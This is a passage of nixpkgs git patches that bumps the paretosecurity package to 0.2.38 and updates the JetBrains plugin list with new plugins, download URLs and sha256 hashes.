     inherit rev;
-    hash = "sha256-2ZL3giUrc4mUNh8rr+yI+k2Sx5rZsoFGR1ZBlTugH6M=";
+    hash = "sha256-bGHUDPUrohcc/lLE647cicaEIYo9t1/anc2VeMJlsGc=";
     fetchSubmodules = true;
   };
 

From afb3799e647797bd0bf00bb5413e892b7adcc600 Mon Sep 17 00:00:00 2001
From: Neyts Zupan <zupo@users.noreply.github.com>
Date: Sun, 6 Jul 2025 10:33:31 +0100
Subject: [PATCH 2104/4511] paretosecurity: 0.2.37 -> 0.2.38

(cherry picked from commit daee4b04057d6b606c2148c5e4043daf7104a77f)
---
 pkgs/by-name/pa/paretosecurity/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pa/paretosecurity/package.nix b/pkgs/by-name/pa/paretosecurity/package.nix
index a6ea89ff66f7..05da8104b11c 100644
--- a/pkgs/by-name/pa/paretosecurity/package.nix
+++ b/pkgs/by-name/pa/paretosecurity/package.nix
@@ -17,16 +17,16 @@ buildGoModule (finalAttrs: {
     webkitgtk_4_1
   ];
   pname = "paretosecurity";
-  version = "0.2.37";
+  version = "0.2.38";
 
   src = fetchFromGitHub {
     owner = "ParetoSecurity";
     repo = "agent";
     rev = finalAttrs.version;
-    hash = "sha256-kwGZmj7YJtciFGNVYGKOE8yqGUxMlDBwivBNXmSAfQk=";
+    hash = "sha256-+2QHLSekDaH8Ltq5UbQIG+GeLO8e1tYK4QPSeOB20YY=";
   };
 
-  vendorHash = "sha256-nN2FS0XEZyyk83xXyoaQktZcGzPRtxND1qmskvqxEII=";
+  vendorHash = "sha256-GMbP34qjn/4ffTW5fxTMdzommcpHf9t3yZJ/jm4Tuzg=";
   proxyVendor = true;
 
   # Skip building the Windows installer

From 069923705e630c963997d1abf8449eed78463287 Mon Sep 17 00:00:00 2001
From: Julien Jeanneret <julien.jeanneret@outlook.com>
Date: Thu, 22 May 2025 19:07:13 +0200
Subject: [PATCH 2105/4511] jetbrains.plugins: add go-template,
 cucumber-for-java, gherkin, maven-helper and update existing plugins.

(cherry picked from commit 931492623932d2b67a4c532793b7871c718d8526)
---
 .../editors/jetbrains/plugins/plugins.json    | 291 ++++++++++++------
 1 file changed, 200 insertions(+), 91 deletions(-)

diff --git a/pkgs/applications/editors/jetbrains/plugins/plugins.json b/pkgs/applications/editors/jetbrains/plugins/plugins.json
index 16b6589f6210..a34e9ccd6cc4 100644
--- a/pkgs/applications/editors/jetbrains/plugins/plugins.json
+++ b/pkgs/applications/editors/jetbrains/plugins/plugins.json
@@ -47,7 +47,7 @@
       ],
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/1347/667258/scala-intellij-bin-2024.3.35.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/1347/735853/scala-intellij-bin-2025.1.23.zip"
+        "251.25410.129": "https://plugins.jetbrains.com/files/1347/748379/scala-intellij-bin-2025.1.24.zip"
       },
       "name": "scala"
     },
@@ -268,6 +268,48 @@
       },
       "name": "file-watchers"
     },
+    "7179": {
+      "compatible": [
+        "idea-community",
+        "idea-ultimate"
+      ],
+      "builds": {
+        "243.22562.218": "https://plugins.jetbrains.com/files/7179/617030/MavenHelper-4.29.0-IJ2022.2.zip",
+        "251.25410.129": "https://plugins.jetbrains.com/files/7179/617030/MavenHelper-4.29.0-IJ2022.2.zip"
+      },
+      "name": "maven-helper"
+    },
+    "7212": {
+      "compatible": [
+        "clion",
+        "datagrip",
+        "goland",
+        "idea-community",
+        "idea-ultimate",
+        "mps",
+        "phpstorm",
+        "pycharm-professional",
+        "rider",
+        "ruby-mine",
+        "rust-rover",
+        "webstorm"
+      ],
+      "builds": {
+        "243.22562.218": "https://plugins.jetbrains.com/files/7212/636678/cucumber-java-243.22562.13.zip",
+        "251.23774.423": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.25410.104": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.25410.115": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.25410.117": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.25410.120": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.25410.122": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.25410.123": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.25410.129": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.25410.140": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.25410.148": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip"
+      },
+      "name": "cucumber-for-java"
+    },
     "7219": {
       "compatible": [
         "idea-ultimate",
@@ -632,6 +674,37 @@
       },
       "name": "nixidea"
     },
+    "9164": {
+      "compatible": [
+        "clion",
+        "datagrip",
+        "goland",
+        "idea-community",
+        "idea-ultimate",
+        "mps",
+        "phpstorm",
+        "pycharm-professional",
+        "rider",
+        "ruby-mine",
+        "rust-rover",
+        "webstorm"
+      ],
+      "builds": {
+        "243.22562.218": "https://plugins.jetbrains.com/files/9164/636661/gherkin-243.22562.13.zip",
+        "251.23774.423": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.25410.104": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.25410.115": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.25410.117": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.25410.120": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.25410.122": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.25410.123": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.25410.129": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.25410.140": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
+        "251.25410.148": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip"
+      },
+      "name": "gherkin"
+    },
     "9525": {
       "compatible": [
         "clion",
@@ -891,6 +964,35 @@
       },
       "name": "hocon"
     },
+    "10581": {
+      "compatible": [
+        "clion",
+        "datagrip",
+        "idea-community",
+        "idea-ultimate",
+        "mps",
+        "phpstorm",
+        "pycharm-professional",
+        "rider",
+        "ruby-mine",
+        "rust-rover",
+        "webstorm"
+      ],
+      "builds": {
+        "243.22562.218": "https://plugins.jetbrains.com/files/10581/629973/go-template-243.21565.122.zip",
+        "251.23774.423": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.25410.104": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.25410.115": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.25410.117": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.25410.120": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.25410.122": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.25410.123": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.25410.129": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip",
+        "251.25410.148": "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip"
+      },
+      "name": "go-template"
+    },
     "11058": {
       "compatible": [
         "clion",
@@ -938,18 +1040,18 @@
         "webstorm"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/11349/737408/aws-toolkit-jetbrains-standalone-3.70-243.zip",
-        "251.23774.423": "https://plugins.jetbrains.com/files/11349/737411/aws-toolkit-jetbrains-standalone-3.70-251.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/11349/737411/aws-toolkit-jetbrains-standalone-3.70-251.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/11349/737411/aws-toolkit-jetbrains-standalone-3.70-251.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/11349/737411/aws-toolkit-jetbrains-standalone-3.70-251.zip",
-        "251.25410.119": "https://plugins.jetbrains.com/files/11349/737411/aws-toolkit-jetbrains-standalone-3.70-251.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/11349/737411/aws-toolkit-jetbrains-standalone-3.70-251.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/11349/737411/aws-toolkit-jetbrains-standalone-3.70-251.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/11349/737411/aws-toolkit-jetbrains-standalone-3.70-251.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/11349/737411/aws-toolkit-jetbrains-standalone-3.70-251.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/11349/737411/aws-toolkit-jetbrains-standalone-3.70-251.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/11349/737411/aws-toolkit-jetbrains-standalone-3.70-251.zip"
+        "243.22562.218": "https://plugins.jetbrains.com/files/11349/743145/aws-toolkit-jetbrains-standalone-3.71-243.zip",
+        "251.23774.423": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
+        "251.25410.104": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
+        "251.25410.115": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
+        "251.25410.117": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
+        "251.25410.120": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
+        "251.25410.122": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
+        "251.25410.123": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
+        "251.25410.129": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
+        "251.25410.140": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip",
+        "251.25410.148": "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip"
       },
       "name": "aws-toolkit"
     },
@@ -1288,18 +1390,18 @@
         "webstorm"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip",
-        "251.23774.423": "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip",
-        "251.25410.119": "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip"
+        "243.22562.218": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
+        "251.23774.423": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
+        "251.25410.104": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
+        "251.25410.115": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
+        "251.25410.117": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
+        "251.25410.120": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
+        "251.25410.122": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
+        "251.25410.123": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
+        "251.25410.129": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
+        "251.25410.140": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip",
+        "251.25410.148": "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip"
       },
       "name": "github-copilot"
     },
@@ -1350,18 +1452,18 @@
         "webstorm"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip",
-        "251.23774.423": "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip",
-        "251.25410.119": "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip"
+        "243.22562.218": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.23774.423": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.25410.104": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.25410.115": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.25410.117": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.25410.120": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.25410.122": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.25410.123": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.25410.129": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.25410.140": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip",
+        "251.25410.148": "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip"
       },
       "name": "catppuccin-theme"
     },
@@ -1412,18 +1514,18 @@
         "webstorm"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar",
-        "251.23774.423": "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar",
-        "251.25410.104": "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar",
-        "251.25410.115": "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar",
-        "251.25410.117": "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar",
-        "251.25410.119": "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar",
-        "251.25410.120": "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar",
-        "251.25410.122": "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar",
-        "251.25410.123": "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar",
-        "251.25410.129": "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar",
-        "251.25410.140": "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar",
-        "251.25410.148": "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar"
+        "243.22562.218": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
+        "251.23774.423": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
+        "251.25410.104": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
+        "251.25410.115": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
+        "251.25410.117": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
+        "251.25410.119": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
+        "251.25410.120": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
+        "251.25410.122": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
+        "251.25410.123": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
+        "251.25410.129": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
+        "251.25410.140": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar",
+        "251.25410.148": "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar"
       },
       "name": "gerry-themes"
     },
@@ -1567,18 +1669,18 @@
         "webstorm"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip",
-        "251.23774.423": "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip",
-        "251.25410.119": "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip"
+        "243.22562.218": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.23774.423": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.25410.104": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.25410.115": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.25410.117": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.25410.120": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.25410.122": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.25410.123": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.25410.129": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.25410.140": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip",
+        "251.25410.148": "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip"
       },
       "name": "developer-tools"
     },
@@ -1667,16 +1769,16 @@
       "builds": {
         "243.22562.218": null,
         "251.23774.423": "https://plugins.jetbrains.com/files/22857/716106/vcs-gitlab-IU-251.23774.435-IU.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/22857/736969/vcs-gitlab-IU-251.25410.123-IU.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/22857/736969/vcs-gitlab-IU-251.25410.123-IU.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/22857/736969/vcs-gitlab-IU-251.25410.123-IU.zip",
-        "251.25410.119": "https://plugins.jetbrains.com/files/22857/736969/vcs-gitlab-IU-251.25410.123-IU.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/22857/736969/vcs-gitlab-IU-251.25410.123-IU.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/22857/736969/vcs-gitlab-IU-251.25410.123-IU.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/22857/736969/vcs-gitlab-IU-251.25410.123-IU.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/22857/736969/vcs-gitlab-IU-251.25410.123-IU.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/22857/736969/vcs-gitlab-IU-251.25410.123-IU.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/22857/736969/vcs-gitlab-IU-251.25410.123-IU.zip"
+        "251.25410.104": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
+        "251.25410.115": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
+        "251.25410.117": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
+        "251.25410.120": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
+        "251.25410.122": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
+        "251.25410.123": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
+        "251.25410.129": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
+        "251.25410.140": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip",
+        "251.25410.148": "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip"
       },
       "name": "gitlab"
     },
@@ -1875,17 +1977,17 @@
         "webstorm"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/26084/680234/markdtask-2025.1.1.zip",
-        "251.25410.104": null,
-        "251.25410.115": null,
-        "251.25410.117": null,
-        "251.25410.119": null,
-        "251.25410.120": null,
-        "251.25410.122": null,
-        "251.25410.123": null,
-        "251.25410.129": null,
-        "251.25410.140": null,
-        "251.25410.148": null
+        "243.22562.218": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.25410.104": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.25410.115": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.25410.117": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.25410.120": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.25410.122": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.25410.123": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.25410.129": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.25410.140": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.25410.148": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip"
       },
       "name": "markdtask"
     }
@@ -1896,9 +1998,11 @@
     "https://plugins.jetbrains.com/files/10312/581013/dotplugin-1.5.4.zip": "sha256-25vtwXuBNiYL9E0pKG4dqJDkwX1FckAErdqRPKXybQA=",
     "https://plugins.jetbrains.com/files/10481/583591/intellij-hocon-2024.2.0.zip": "sha256-Bnnvy+HDNkx2DQM7N+JUa8hQzIA3H/5Y0WpWAjPmhUI=",
     "https://plugins.jetbrains.com/files/10481/671222/intellij-hocon-2025.1.0.zip": "sha256-GO0bXJsHx9O1A6M9NUCv9m4JwKHs5plwSssgx+InNqE=",
+    "https://plugins.jetbrains.com/files/10581/629973/go-template-243.21565.122.zip": "sha256-6pZ8vHw8C08IUvU76meMTGShoSMntQABv/KBX4BRDYs=",
+    "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip": "sha256-zX1nEdq84wwQvGhV664V5bNBPVTI4zWo306JtjXcGkE=",
     "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip": "sha256-trVQyV4PcxI1BeLtIg3fP1dOITiFRheIGpxU3GuA83w=",
-    "https://plugins.jetbrains.com/files/11349/737408/aws-toolkit-jetbrains-standalone-3.70-243.zip": "sha256-KtMvtJjV1Oos3H+bffQX6RTTiLj5BIQbOzbRnOu212s=",
-    "https://plugins.jetbrains.com/files/11349/737411/aws-toolkit-jetbrains-standalone-3.70-251.zip": "sha256-u55hK8kuHIbdNxj/lCF2J8jy+n8Kben23kjIJ8u9r1g=",
+    "https://plugins.jetbrains.com/files/11349/743145/aws-toolkit-jetbrains-standalone-3.71-243.zip": "sha256-vmVmsichxO8hpzqCtLdqxScHbjwAN+7tVDnbCAh7Kuc=",
+    "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip": "sha256-aH9P8oYlUSKGJHzbwPZe+gOUekuGZc8PPQoJXKahfCY=",
     "https://plugins.jetbrains.com/files/12024/667413/ReSharperPlugin.CognitiveComplexity-2025.1.0-eap01.zip": "sha256-SWIXjxnwAf9dju1oOgzePrTY0lPNNX54Afp5OIkGGi4=",
     "https://plugins.jetbrains.com/files/12062/630060/keymap-vscode-243.21565.122.zip": "sha256-phv8MTGKNGzRviKzX+nIVTbkX4WkU82QVO5zXUQLtAo=",
     "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip": "sha256-obbLL8n6gK8oFw8NnJbdAylPHfTv4GheBDnVFOUpwL0=",
@@ -1909,7 +2013,7 @@
     "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip": "sha256-DKkgt0z/ui0bOLSbnKy51RL7+9HIqeriroi2otZ64mQ=",
     "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip": "sha256-eKwDE+PMtYhrGbDDZPS5cimssH+1xV4GF6RXXg/3urU=",
     "https://plugins.jetbrains.com/files/1347/667258/scala-intellij-bin-2024.3.35.zip": "sha256-4I75KqXyFl73S63O+00usrg8QBcuBRBgfjRmCQMpNks=",
-    "https://plugins.jetbrains.com/files/1347/735853/scala-intellij-bin-2025.1.23.zip": "sha256-y81nA9MBa3NA8cilX3EIuhlBrKRf3RHP5VSElhguLg8=",
+    "https://plugins.jetbrains.com/files/1347/748379/scala-intellij-bin-2025.1.24.zip": "sha256-S0VowbZJFSPwbydmAYoZ9mMOvgXHB90Rx+KECdybQwI=",
     "https://plugins.jetbrains.com/files/14004/636643/protoeditor-243.22562.13.zip": "sha256-Tgu8CfDhO6KugfuLNhmxe89dMm+Qo3fmAg/8hwjUaoc=",
     "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip": "sha256-ZYn365EY8+VP1TKM4wBotMj1hYbSSr4J1K5oIZlE2SE=",
     "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar": "sha256-eXInfAqY3yEZRXCAuv3KGldM1pNKEioNwPB0rIGgJFw=",
@@ -1918,30 +2022,30 @@
